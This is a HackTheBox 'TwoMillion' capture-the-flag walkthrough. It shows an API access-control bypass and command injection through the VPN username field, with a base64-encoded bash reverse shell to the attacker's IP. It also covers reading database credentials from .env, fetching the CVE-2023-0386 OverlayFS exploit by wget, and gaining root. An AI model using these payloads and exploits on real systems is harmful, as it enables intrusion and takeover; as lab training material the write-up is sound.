
TwoMillion
Platform : HackTheBox
Type : boot2root
Difficulty : ⭐⭐☆☆☆
Table of contents
Reconnaissance
Nmap scan
# Nmap 7.93 scan initiated Fri Dec 15 16:08:55 2023 as: nmap -A -p- -oN nmapResults.txt -T5 -v 10.129.229.66
Nmap scan report for 10.129.229.66
Host is up (0.026s latency).
Not shown: 65533 closed tcp ports (conn-refused)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.1 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 3eea454bc5d16d6fe2d4d13b0a3da94f (ECDSA)
|_ 256 64cc75de4ae6a5b473eb3f1bcfb4e394 (ED25519)
80/tcp open http nginx
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
|_http-title: Did not follow redirect to http://2million.htb/
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Read data files from: /usr/bin/../share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Fri Dec 15 16:09:14 2023 -- 1 IP address (1 host up) scanned in 18.95 seconds
We can see on the nmap scan that the web server redirects us to http://2million.htb/
virtual host. We need to add it to our /etc/hosts
file :
┌──(kali㉿kali)-[~/…/HackTheBox/CTF/Easy/TwoMillion]
└─$ sudo nano /etc/hosts
┌──(kali㉿kali)-[~/…/HackTheBox/CTF/Easy/TwoMillion]
└─$ cat /etc/hosts
127.0.0.1 localhost
127.0.1.1 kali
::1 localhost ip6-localhost ip6-loopback
ff02::1 ip6-allnodes
ff02::2 ip6-allrouters
10.129.123.227 2million.htb
Web reconnaissance
When navigating to the web application on port using a web browser, we can see in the menu bar that we can register a new account (« join ») and login :

To find more pages or directories, we can use a fuzzing tool like Gobuster :
===============================================================
Gobuster v3.1.0
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://2million.htb/
[+] Method: GET
[+] Threads: 10
[+] Wordlist: /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Negative Status codes: 404
[+] Exclude Length: 162
[+] User Agent: gobuster/3.1.0
[+] Timeout: 10s
===============================================================
2023/12/15 16:16:37 Starting gobuster in directory enumeration mode
===============================================================
/home (Status: 302) [Size: 0] [--> /]
/login (Status: 200) [Size: 3704]
/register (Status: 200) [Size: 4527]
/api (Status: 401) [Size: 0]
/logout (Status: 302) [Size: 0] [--> /]
/404 (Status: 200) [Size: 1674]
/0404 (Status: 200) [Size: 1674]
/invite (Status: 200) [Size: 3859]
Progress: 26952 / 220561 (12.22%)
There is an api at /api
. Also, we discovered an invite
route. When navigating to /register
, we can notice an invite code is necessary in order to create a new account. The invite
page also asks for an invite code :

When capturing the traffic using BurpSuite when entering an invite code and clicking on sign up, a request is sent to http://2million.htb/api/v1/invite/verify
:
Request
Response
POST /api/v1/invite/verify HTTP/1.1
Host: 2million.htb
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 9
Origin: http://2million.htb
Connection: keep-alive
Referer: http://2million.htb/invite
Cookie: PHPSESSID=50rar7ko1k3psmc289t8or63fb
Priority: u=0
code=test
HTTP/1.1 200 OK
Server: nginx
Date: Wed, 15 Oct 2025 16:33:23 GMT
Content-Type: application/json
Connection: keep-alive
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Content-Length: 67
{
"0":400,
"success":0,
"error":{
"message":"Invite code is invalid!"
}
}
We can try to fuzz /api/v1/invite
to see if there are other routes that could be exploited :
===============================================================
Gobuster v3.1.0
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://2million.htb/api/v1/invite/
[+] Method: GET
[+] Threads: 10
[+] Wordlist: /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Negative Status codes: 404
[+] Exclude Length: 162
[+] User Agent: gobuster/3.1.0
[+] Timeout: 10s
===============================================================
2023/12/15 16:26:25 Starting gobuster in directory enumeration mode
===============================================================
/verify (Status: 405) [Size: 0]
/generate (Status: 405) [Size: 0]
Progress: 20667 / 220561 (9.37%)
Initial access
Obtaining a valid invite code
The endpoint /generate
was discovered, and it responded with code 405 (Method not allowed), which is a good sign since it did not responded with 401 (Forbidden) or 403 (Unauthorized). This endpoint may be used to generate new invite codes. We can try to send a POST request to this endpoint to see what response we get :
┌──(kali㉿kali)-[~/…/HackTheBox/CTF/Easy/TwoMillion]
└─$ curl http://2million.htb/api/v1/invite/generate -X POST
{"0":200,"success":1,"data":{"code":"VUNNMUktU05HRjMtRlhSTkEtOEs4SUg=","format":"encoded"}}
┌──(kali㉿kali)-[~/…/HackTheBox/CTF/Easy/TwoMillion]
└─$ echo 'VUNNMUktU05HRjMtRlhSTkEtOEs4SUg=' | base64 -d
UCM1I-SNGF3-FXRNA-8K8IH
We got a successful response and got an invite code encoded in base64. The problem here is the fact that there is no access control, letting any unauthenticated user generate an invite code that can later be used to register a new account.
Obtaining admin access to the API
After creating an account using the invite code we retrieved from the API and logging in, we can get a list of available endpoints on the API by sending a GET request to http://2million.htb/api/v1
:
┌──(kali㉿kali)-[~/…/HackTheBox/CTF/Easy/TwoMillion]
└─$ curl http://2million.htb/api/v1 -H "Cookie: PHPSESSID=50rar7ko1k3psmc289t8or63fb" | jq
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
100 800 0 800 0 0 13056 0 --:--:-- --:--:-- --:--:-- 13114
{
"v1": {
"user": {
"GET": {
"/api/v1": "Route List",
"/api/v1/invite/how/to/generate": "Instructions on invite code generation",
"/api/v1/invite/generate": "Generate invite code",
"/api/v1/invite/verify": "Verify invite code",
"/api/v1/user/auth": "Check if user is authenticated",
"/api/v1/user/vpn/generate": "Generate a new VPN configuration",
"/api/v1/user/vpn/regenerate": "Regenerate VPN configuration",
"/api/v1/user/vpn/download": "Download OVPN file"
},
"POST": {
"/api/v1/user/register": "Register a new user",
"/api/v1/user/login": "Login with existing user"
}
},
"admin": {
"GET": {
"/api/v1/admin/auth": "Check if user is admin"
},
"POST": {
"/api/v1/admin/vpn/generate": "Generate VPN for specific user"
},
"PUT": {
"/api/v1/admin/settings/update": "Update user settings"
}
}
}
}
There are multiple admin endpoints that could be useful for an attacker. By testing those routes for broken access control, we can notice that /api/v1/admin/settings/update
does not check if the user has the admin role :
┌──(kali㉿kali)-[~/…/HackTheBox/CTF/Easy/TwoMillion]
└─$ curl http://2million.htb/api/v1/admin/settings/update -H "Cookie: PHPSESSID=50rar7ko1k3psmc289t8or63fb" -X PUT -H "Content-Type: application/json"
{"status":"danger","message":"Missing parameter: email"}
┌──(kali㉿kali)-[~/…/HackTheBox/CTF/Easy/TwoMillion]
└─$ curl http://2million.htb/api/v1/admin/settings/update -H "Cookie: PHPSESSID=50rar7ko1k3psmc289t8or63fb" -X PUT -H "Content-Type: application/json" -d '{"email":"test@test.test"}'
{"status":"danger","message":"Missing parameter: is_admin"}
The server asks for the is_admin
parameter, which is a good sign for an attacker. This means we could be able to update our own profile and give us the admin role :
┌──(kali㉿kali)-[~/…/HackTheBox/CTF/Easy/TwoMillion]
└─$ curl http://2million.htb/api/v1/admin/settings/update -H "Cookie: PHPSESSID=50rar7ko1k3psmc289t8or63fb" -X PUT -H "Content-Type: application/json" -d '{"email":"test@test.test", "is_admin":1}'
{"id":13,"username":"test","is_admin":1}
Now, we can check if we have the admin role by sending a GET request to /api/v1/admin/auth
:
┌──(kali㉿kali)-[~/…/HackTheBox/CTF/Easy/TwoMillion]
└─$ curl http://2million.htb/api/v1/admin/auth -H "Cookie: PHPSESSID=50rar7ko1k3psmc289t8or63fb"
{"message":true}
We have now admin access to the API.
OS Command Injection
Since we have now admin access to the API, we can try to send a POST request to /api/v1/admin/vpn/generate
and see how the server uses our input :
┌──(kali㉿kali)-[~/…/HackTheBox/CTF/Easy/TwoMillion]
└─$ curl http://2million.htb/api/v1/admin/vpn/generate -H "Cookie: PHPSESSID=50rar7ko1k3psmc289t8or63fb" -X POST -H "Content-Type: application/json" -d '{"username":"test"}'
client
dev tun
proto udp
remote edge-eu-free-1.2million.htb 1337
<SNIP>
Subject: C=GB, ST=London, L=London, O=test, CN=test
The server uses the username to generate an OpenVPN config file. In the response, we can see the subject is set to the username we send to the API. The username may be used in a command line when generating the certificate, so we can try to inject an arbitrary command :
┌──(kali㉿kali)-[~/…/HackTheBox/CTF/Easy/TwoMillion]
└─$ curl http://2million.htb/api/v1/admin/vpn/generate -H "Cookie: PHPSESSID=50rar7ko1k3psmc289t8or63fb" -X POST -H "Content-Type: application/json" -d '{"username":";id;#"}'
uid=33(www-data) gid=33(www-data) groups=33(www-data)
We successfully injected the id
command, and we see the server is running as www-data
. This vulnerability can be exploited to execute a reverse shell and obtain a foothold on the target system. First, we need to start a listener :
┌──(kali㉿kali)-[~/…/HackTheBox/CTF/Easy/TwoMillion]
└─$ nc -lnvp 4444
listening on [any] 4444 ...
Then, exploit the command injection to execute a reverse shell :
┌──(kali㉿kali)-[~/…/HackTheBox/CTF/Easy/TwoMillion]
└─$ curl http://2million.htb/api/v1/admin/vpn/generate -H "Cookie: PHPSESSID=50rar7ko1k3psmc289t8or63fb" -X POST -H "Content-Type: application/json" -d '{"username":";echo L2Jpbi9iYXNoIC1pID4mIC9kZXYvdGNwLzEwLjEwLjE1LjI1LzQ0NDQgMD4mMQ==|base64 -d|bash;#"}'
We should have received a connection on our netcat listener :
┌──(kali㉿kali)-[~/…/HackTheBox/CTF/Easy/TwoMillion]
└─$ nc -lnvp 4444
listening on [any] 4444 ...
connect to [10.10.15.25] from (UNKNOWN) [10.129.123.227] 42490
bash: cannot set terminal process group (1095): Inappropriate ioctl for device
bash: no job control in this shell
www-data@2million:~/html$
The server successfully executed our payload and we have now access to the server as www-data
.
Post-exploitation
Local reconnaissance
In the /home
directory, there is an admin
directory, indicating the presence of a local user account named admin
:
www-data@2million:~/html$ ls -la /home
ls -la /home
total 12
drwxr-xr-x 3 root root 4096 Jun 6 2023 .
drwxr-xr-x 19 root root 4096 Jun 6 2023 ..
drwxr-xr-x 4 admin admin 4096 Jun 6 2023 admin
We have read access to it. In /var/www/html
, there is a .env
file, which contains environment variables used by the web server. This may contain database credentials :
www-data@2million:~/html$ cat .env
cat .env
DB_HOST=127.0.0.1
DB_DATABASE=htb_prod
DB_USERNAME=admin
DB_PASSWORD=SuperDuperPass123
Bingo ! We have the password for the database, but we can also notice the username used for it is the same as the local user account we found previously. Let’s check if the same password was used for the two accounts :
┌──(kali㉿kali)-[~/…/HackTheBox/CTF/Easy/TwoMillion]
└─$ ssh admin@2million.htb
The authenticity of host '2million.htb (10.129.123.227)' can't be established.
ED25519 key fingerprint is SHA256:TgNhCKF6jUX7MG8TC01/MUj/+u0EBasUVsdSQMHdyfY.
This host key is known by the following other names/addresses:
~/.ssh/known_hosts:56: [hashed name]
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '2million.htb' (ED25519) to the list of known hosts.
admin@2million.htb's password:
Welcome to Ubuntu 22.04.2 LTS (GNU/Linux 5.15.70-051570-generic x86_64)
<SNIP>
admin@2million:~$
Local reconnaissance (admin)
By listing files and directories owned by admin, we find one interesting path :
admin@2million:~$ find / -user admin 2>/dev/null | grep -Ev '^(/sys|/proc|/run)'
/home/admin
/home/admin/.cache
/home/admin/.cache/motd.legal-displayed
/home/admin/.ssh
/home/admin/.profile
/home/admin/.bash_logout
/home/admin/.bashrc
/var/mail/admin
/dev/pts/1
/dev/pts/0
We can access our mail inbox at /var/mail/admin
:
admin@2million:~$ cat /var/mail/admin
From: ch4p <ch4p@2million.htb>
To: admin <admin@2million.htb>
Cc: g0blin <g0blin@2million.htb>
Subject: Urgent: Patch System OS
Date: Tue, 1 June 2023 10:45:22 -0700
Message-ID: <9876543210@2million.htb>
X-Mailer: ThunderMail Pro 5.2
Hey admin,
I'm know you're working as fast as you can to do the DB migration. While we're partially down, can you also upgrade the OS on our web host? There have been a few serious Linux kernel CVEs already this year. That one in OverlayFS / FUSE looks nasty. We can't get popped by that.
HTB Godfather
This mail indicates the current kernel version is affected by a vulnerability related to OverlayFS. Let’s see what kernel version is currently used :
admin@2million:~$ uname -r
5.15.70-051570-generic
By searching for CVEs affecting OverlayFS on this version of the Linux kernel, I came across CVE-2023-0386 :

I made a video explaining this vulnerability in details here : https://www.youtube.com/watch?v=cLdPiCB_jQo.
In the « Known Affected Software Configurations » section, we can see it affects Linux kernel 5.11
to 5.15.91
on Ubuntu 22.04.*
, which matches the configuration of the target system.
Privilege escalation (root)
To exploit CVE-2023-0386, we can clone https://github.com/sxlmnwb/CVE-2023-0386.git, zip it, and host it on a web server :
┌──(kali㉿kali)-[~/…/HackTheBox/CTF/Easy/TwoMillion]
└─$ zip CVE-2023-0386.zip CVE-2023-0386 -r
adding: CVE-2023-0386/ (stored 0%)
<SNIP>
┌──(kali㉿kali)-[~/…/HackTheBox/CTF/Easy/TwoMillion]
└─$ python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
Then, we can download it on the target system, unzip it, and compile it :
admin@2million:~$ wget 10.10.15.25/CVE-2023-0386.zip
--2025-10-15 18:01:51-- http://10.10.15.25/CVE-2023-0386.zip
Connecting to 10.10.15.25:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 43352 (42K) [application/zip]
Saving to: ‘CVE-2023-0386.zip’
CVE-2023-0386.zip 100%[==================================================================================>] 42.34K --.-KB/s in 0.06s
2025-10-15 18:01:51 (701 KB/s) - ‘CVE-2023-0386.zip’ saved [43352/43352]
admin@2million:~$ unzip CVE-2023-0386.zip
Archive: CVE-2023-0386.zip
creating: CVE-2023-0386/
<SNIP>
admin@2million:~$ cd CVE-2023-0386/
admin@2million:~/CVE-2023-0386$ make all
gcc fuse.c -o fuse -D_FILE_OFFSET_BITS=64 -static -pthread -lfuse -ldl
<SNIP>
/usr/bin/ld: /usr/lib/gcc/x86_64-linux-gnu/11/../../../x86_64-linux-gnu/libfuse.a(fuse.o): in function `fuse_new_common':
(.text+0xaf4e): warning: Using 'dlopen' in statically linked applications requires at runtime the shared libraries from the glibc version used for linking
gcc -o exp exp.c -lcap
gcc -o gc getshell.c
Now, that everything is set up, we can run ./fuse ./ovlcap/lower ./gc
in the first terminal :
admin@2million:~/CVE-2023-0386$ ./fuse ./ovlcap/lower ./gc
[+] len of gc: 0x3ee0
In a second terminal, we can login again via SSH and execute ./exp
:
┌──(kali㉿kali)-[~/…/HackTheBox/CTF/Easy/TwoMillion]
└─$ ssh admin@2million.htb
<SNIP>
admin@2million:~$ cd CVE-2023-0386/
admin@2million:~/CVE-2023-0386$ ./exp
uid:1000 gid:1000
[+] mount success
total 8
drwxrwxr-x 1 root root 4096 Oct 15 18:04 .
drwxrwxr-x 6 root root 4096 Oct 15 18:04 ..
-rwsrwxrwx 1 nobody nogroup 16096 Jan 1 1970 file
[+] exploit success!
To run a command as administrator (user "root"), use "sudo <command>".
See "man sudo_root" for details.
root@2million:~/CVE-2023-0386# id
uid=0(root) gid=0(root) groups=0(root),1000(admin)
Our UID is now 0
, which means we have root access to the target system.
Clearing tracks
Step | Tracks to remove |
---|---|
Post-exploitation – Privilege escalation (root) | – Remove files from the OverlayFS exploit |
Post-exploitation – Local enumeration | – Remove linpeas.sh and pspy64 from /tmp |
Initial access – Retrieving a valid invite code | – Remove the user account created on the website |
Vulnerabilities summary
Improper Access Control
Field | Value |
---|---|
Affected component | Web API |
CVSS 3.0 score | 7.3 (High) |
CVSS 3.0 vectore | AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L |
Impact | Allows an attacker to generate a valid invitation code. Also, it allows an authenticated attacker to give himself administrative privileges on the API. This has a low impact on the confidentiality, integrity and availability of the affected component. |
Remediation proposition | Set up proper access control to avoid unauthorized user to gain a privileged access to the API. |
OS Command Injection
Field | Value |
---|---|
Affected component | Web API |
CVSS 3.0 score | 7.2 (High) |
CVSS 3.0 vector | AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H |
Impact | Allows an attacker to execute arbitrary system commands as www-data . This can lead the attacker to gain a foothold on the system.This has a high impact on the confidentiality, integrity and availability of the affected component. |
Remediation proposition | Sanitize the username parameter sent by the user in the POST request sent to /api/v1/admin/vpn/generate . |
CVE-2023-0386 (OverlayFS)
Field | Value |
---|---|
Affected component | Linux kernel |
CVSS 3.0 score | 7.8 (High) |
CVSS 3.0 vector | AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H |
Impact | Allows an attacker to escalate his privileges leading to the compromission of the root account. This has a high impact on the confidentiality, availability and integrity of the affected component. |
Remediation proposition | Update the system using sudo apt update and sudo apt upgrade to install a patched version of the linux kernel. |
Tools used
Tool | Purpose |
---|---|
Nmap | – Scan for open ports- Scan services versions |
Gobuster | – Fuzz virtual hosts |
BurpSuite | – Analyse and modify requests sent to the web server |
Revshells.com | – Generate payloads for reverse shells |
Netcat | – Handle reverse shell connections |
Sources
- CVE-2023-0386 exploit : https://github.com/sxlmnwb/CVE-2023-0386
- NIST NVD CVE-2023-0386 : https://nvd.nist.gov/vuln/detail/CVE-2023-0386#:~:text=Description,nosuid mount into another mount
- Detailed explanation on CVE-2023-0386 (in french) : https://www.youtube.com/watch?v=cLdPiCB_jQo